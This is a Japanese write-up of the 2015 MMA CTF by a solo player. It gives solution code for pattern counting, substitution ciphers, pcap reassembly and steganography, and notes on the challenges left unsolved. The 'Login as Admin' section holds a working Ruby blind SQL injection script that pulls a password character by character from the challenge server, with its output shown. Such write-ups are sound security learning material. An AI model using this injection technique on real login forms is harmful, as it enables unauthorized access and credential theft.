MMACTF 1st 2015 write up と死んだ話
MMA CTF 1st 2015(2015/09/05 00:00 - 2015/09/07 00:00 (UTC)) にぼっち参加しました。
結果は250 pts で終了5時間前に見た時は215位でした(全体で600チームぐらい居た;最終228位)。 今となっては最後まで起きれなかったことが悔やまれます。 電気通信大学 MMAのみなさんありがとうございました。 いい問題が多かったような感じがします。
write up
Pattern Lock
Androidスマートフォンには、パターンロックという機能がある。 パターンロックは次の図(省略)に示すような3x3のドットを用いて行なわれる。 パターンの例として次のようなものがある。 パターンには次のような条件が存在する。 • 同じドットを2度と通らない • 少なくとも4つのドットを通る • あるドットから別のドットに線を引く際に、その線分上にまだ通っていない点がある場合は、先にその点を通らなければならない パターンロックに使えるパターンの総数を求めよ。 フラグはパターンの総数を10進整数で表したものである。(Flag 1)。 パターンロックを4x4に拡張した時の最長のパターンの長さを求めよ。(Flag 2)。 ただし、2つの上下左右に隣接するドットの間隔を1とする。 長さは10進数で小数以下4桁までを答えること(XX.XXXX)。 この問題はフラグの形式MMA{...}ではないことに注意すること。
Flag 1
適当にググれば3x3のパターン数は389112ということが分かります。
Flag 2
最大経路長の候補をプログラムで計算して回答させました。 運営さんごめんなさい… (2x0, 3x0も考えないといけないでしょうけど省きました)
最大経路長の候補は約1300通りになりました。 予め最低でもこのぐらいはあるという検討をつけるのがポイントでしょうか…
var _0x1, _1x1, _1x2, _1x3, _2x3, _2x2, _3x3; var test = []; // var lower_limit = 13 * Math.sqrt(5) + 1 * Math.sqrt(10) + 1 * Math.sqrt(13); var lower_limit = 2 * Math.sqrt(2) + 2 * Math.sqrt(5) + 3 * Math.sqrt(10) + 8 * Math.sqrt(13); // var lower_limit = 1 * Math.sqrt(2) + 1 * Math.sqrt(5) + 3 * Math.sqrt(10) + 5 * Math.sqrt(13) + 5; function l(a, b){ return Math.sqrt(a * a + b * b); } function init(){ for(_3x3 = 2; _3x3 >= 0; _3x3--){ // 高々2 for(_2x2 = 0; _2x2 <= 8; _2x2++){ // 高々8 for(_2x3 = 0; _2x3 <= 8; _2x3++){ // 高々8 for(_1x3 = 0; _1x3 <= 12; _1x3++){ // 高々12 for(_1x2 = 0; _1x2 <= 15; _1x2++){ for(_1x1 = 0; _1x1 <= 15; _1x1++){ _0x1 = 15 - (_2x3 + _1x3 + _1x2 + _1x1 + _2x2 + _3x3); if(_0x1 < 0) break; // console.log([_0x1, _1x1, _1x2, _1x3, _2x3]); var length = _2x3 * l(2, 3) + _1x3 * l(1, 3) + _1x2 * l(1, 2) + _1x1 * l(1, 1) + _0x1 * 1 + _2x2 * l(2, 2) + _3x3 * l(3, 3); if(length > lower_limit){ test.push(length.toFixed(4)); // 四捨五入 if((length*100000)%10 >= 5){ test.push((length-0.00005).toFixed(4)); // 切り捨て } } } } } } } } } // init(); // test.sort(); // test = test.filter(function (element, index, self) { // return self.indexOf(element) === index; // }); // console.log(test); // console.log(test[0]); // console.log(test.length); // return; var ??? = ????????; var ??? = ????????; function submit(i){ // 迷惑な解法なので自主規制 } init(); test.sort(); test = test.filter(function (element, index, self) { return self.indexOf(element) === index; }); console.log(test); console.log(test[0]); console.log(test.length); submit(0);
(自主規制部も含めて完全なコードがほしい方はTwitterでリプってください※F/F限定とします)
smart cipher system
crypt2
AからZまで一通り試すと次のcipherを得られます。
2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43
1対1対応していると検討できます。 なのでpythonで対応付けを解析させ、与えられたcipherをdecryptしました。
import sys # !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|} # for i in xrange(0x20, 0x7e): # sys.stdout.write(chr(i)) def decrypt(c): sys.stdout.write(l1[l2.index(c)]) sys.stdout.flush() l1 = list() l2 = "09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 ".split(" ") for i in xrange(0x20, 0x7e): l1.append(chr(i)) ct = "36 36 2a 64 4b 4b 4a 21 1e 4b 1f 20 1f 21 4d 4b 1b 1d 19 4f 21 4c 1d 4a 4e 1c 4c 1b 22 4f 22 22 1b 21 4c 20 1d 4f 1f 4c 4a 19 22 1a 66 ".split(" ") map(decrypt, ct)
crypt4
これも1対1対応しているので同様にdecryptしました。
import sys # !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|} # for i in xrange(0x20, 0x7e): # sys.stdout.write(chr(i)) def decrypt(c): sys.stdout.write(l1[l2.index(c)]) sys.stdout.flush() l1 = list() l2 = "b7 fd 93 26 36 3f f7 cc 34 a5 e5 f1 71 d8 31 15 04 c7 23 c3 18 96 05 9a 07 12 80 e2 eb 27 b2 75 09 83 2c 1a 1b 6e 5a a0 52 3b d6 b3 29 e3 2f 84 53 d1 00 ed 20 fc b1 5b 6a cb be 39 4a 4c 58 cf d0 ef aa fb 43 4d 33 85 45 f9 02 7f 50 3c 9f a8 51 a3 40 8f 92 9d 38 f5 bc b6 da 21 10 ff".split(" ") for i in xrange(0x20, 0x7e): l1.append(chr(i)) ct = "e3 e3 83 21 33 96 23 43 ef 9a 9a 05 18 c7 23 07 07 07 c7 9a 04 33 23 07 23 ef 12 c7 04 96 43 23 23 18 04 04 05 c7 fb 18 96 43 ef 43 ff".split(" ") map(decrypt, ct)
splitted
wiresharkでsplitted.pcapを開きます。 Percial Content をいくつか見つけることができます。 少なくともCGI/Moduleのスクリプト側(PHP, Rubyなど)でそのようにコーディングすれば、リクエストヘッダでRengeを指定すると指定されたバイトの間の部分だけストリームさせることができます。 幸いにもレスポンスContent-Rangeが残っているのでWiresharkでExport Objectした後(正確にはExport Selected Packet Bytesした気がする)、次の手順でターミナルで結合してあげると完全なzipファイルを得られました。
$ ls -1 flag-0.zip flag-1407.zip flag-1876.zip flag-2345.zip flag-2814.zip flag-3283.zip flag-469.zip flag-938.zip $ cat flag-0.zip | xxd | head 00000000: 504b 0304 1400 0000 0800 479b 2447 c2f7 PK........G.$G.. 00000010: 4289 fb0d 0000 2dd3 0000 0800 1c00 666c B.....-.......fl 00000020: 6167 2e70 7364 5554 0900 03c5 71e9 55c8 ag.psdUT....q.U. 00000030: 71e9 5575 780b 0001 04e8 0300 0004 e803 q.Uux........... 00000040: 0000 ed9a 7b74 1475 96c7 6f75 7577 121e ....{t.u..ouuw.. 00000050: 91b7 7080 1d75 5514 9db1 1d41 39bb 2228 ..p..uU....A9."( 00000060: e844 8687 333c 9c33 8e8a 8380 0fc4 88b0 .D..3<.3........ 00000070: 725c 4609 5167 71d0 5189 b20a 0e2a 28f8 r\F.Qgq.Q....*(. 00000080: 1a71 005d cf82 ba0e 8aee aae8 8c22 b018 .q.].........".. 00000090: 0209 2440 0279 75fa dddf fd56 5577 7575 ..$@.yu....VUwuu $ cat flag-0.zip >> flag.zip $ cat flag-469.zip >> flag.zip $ cat flag-938.zip >> flag.zip $ cat flag-1407.zip >> flag.zip $ cat flag-1876.zip >> flag.zip $ cat flag-2345.zip >> flag.zip $ cat flag-2814.zip >> flag.zip $ cat flag-3283.zip >> flag.zip $ unzip -l flag.zip Archive: flag.zip Length Date Time Name --------- ---------- ----- ---- 54061 09-04-2015 19:26 flag.psd --------- ------- 54061 1 file
中にpsdが入っているので開きました。 Photoshopで開くとレイヤーと背景が逆だったのでレイヤを入れ替えてフラグゲット!
Nagoya Castle
ここに城の写真がありますね
stegsolveでポチポチすればフラグが浮き上がってきます。
Login as Admin
この問題では(ブラインド)SQLインジェクションできます。 ksnctfの類題ですね。 ユーザー名を入れるusername, user_name, user_id, id と言ったカラムが無かったので困りましたが、パスワードはtestよりも小さいMMA{???}なのでMINで選択できます。 (どうもuserというカラムがあったそうですね)
require 'uri' require 'net/http' module Login @@uri = URI.parse 'http://arrive.chal.mmactf.link/login.cgi' def self.get_password_size n_min = 1 n_max = 30 while true n = (n_min + n_max)/2 # username というカラムがない! # passwordは MMA{} という形式なので test よりも小さい → MIN() が使える param = { username: "admin", password: "' or (SELECT length(MIN(password)) FROM user) <= #{n} --"} res = Net::HTTP.post_form @@uri, param # puts res.body # if res.body.include?("logout") if !res.body.include?("invalid") n_max = n else n_min = n end if (n_max - n_min) <= 1 puts "password has #{n_max} chars" break end end n_max end def self.get_password password_length pass = '' (1..password_length).each do |n| (33..127).each do |charcode| param = { username: "admin", password: "' or substr((SELECT MIN(password) FROM user), #{n}, 1)='#{charcode.chr}'--" } res = Net::HTTP.post_form @@uri, param # puts res.body # if res.body.include?("logout") if !res.body.include?("invalid") pass += charcode.chr puts "hit!! #{n}:#{charcode.chr}" break end end end puts "password is #{pass}" end end pass_len = Login.get_password_size Login.get_password pass_len
C:\Users\***\OneDrive\CTF\MMA2015>ruby login.rb password has 20 chars hit!! 1:M hit!! 2:M hit!! 3:A hit!! 4:{ hit!! 5:c hit!! 6:a hit!! 7:t hit!! 8:s hit!! 9:_ hit!! 10:a hit!! 11:l hit!! 12:i hit!! 13:c hit!! 14:e hit!! 15:_ hit!! 16:b hit!! 17:a hit!! 18:n hit!! 19:d hit!! 20:} password is MMA{cats_alice_band}
死んだ話
smart cipher system
crypt6
一文字目がplain textの長さの影響を受け、後続の文字は前の文字との何らかの差っぽいものが出てくるところまでは分かったのですが、解くに至らず死。
howtouse
マジックバイトがMZになっていたのでNZに直した。
実行できなくて死。 strings, base64 -d, objdumpしたものの何も分からず死。
uploader
分かったこと
<?php ?> 以外の方法が PHP: HTML からの脱出 - Manual という変な名前のセクションに書かれていたのに気付かずに/知らずに死。無限の辛さしかこみ上げない…
PHP: PHP タグ - Manual は見たんですけどねぇ。
Miyako
stegsolver役に立たず死。
Mortal Magi Agents
分かったこと
- ログイン状態によらず、contacts.php, /?page=contacts, /?contacts は存在しない
- admin というユーザー名でSign Upできる
- Sign Upでパスワードの入力は必須でない
- ユーザー名にはバリデーションが働く
- avatorはスクリプトファイルでもよいが、実行されるというわけではない
以上の情報が突破口にならずに死。
QR code recovery challenge
破損したQR コードが与えられた。
strong-qr-decoder に通したが先頭8文字しか取り出せなかった。 エラー訂正が効いてないっぽくてどうしたらいいか分からず死。
ほか
他の問題も手を付けたが意味不過ぎて死。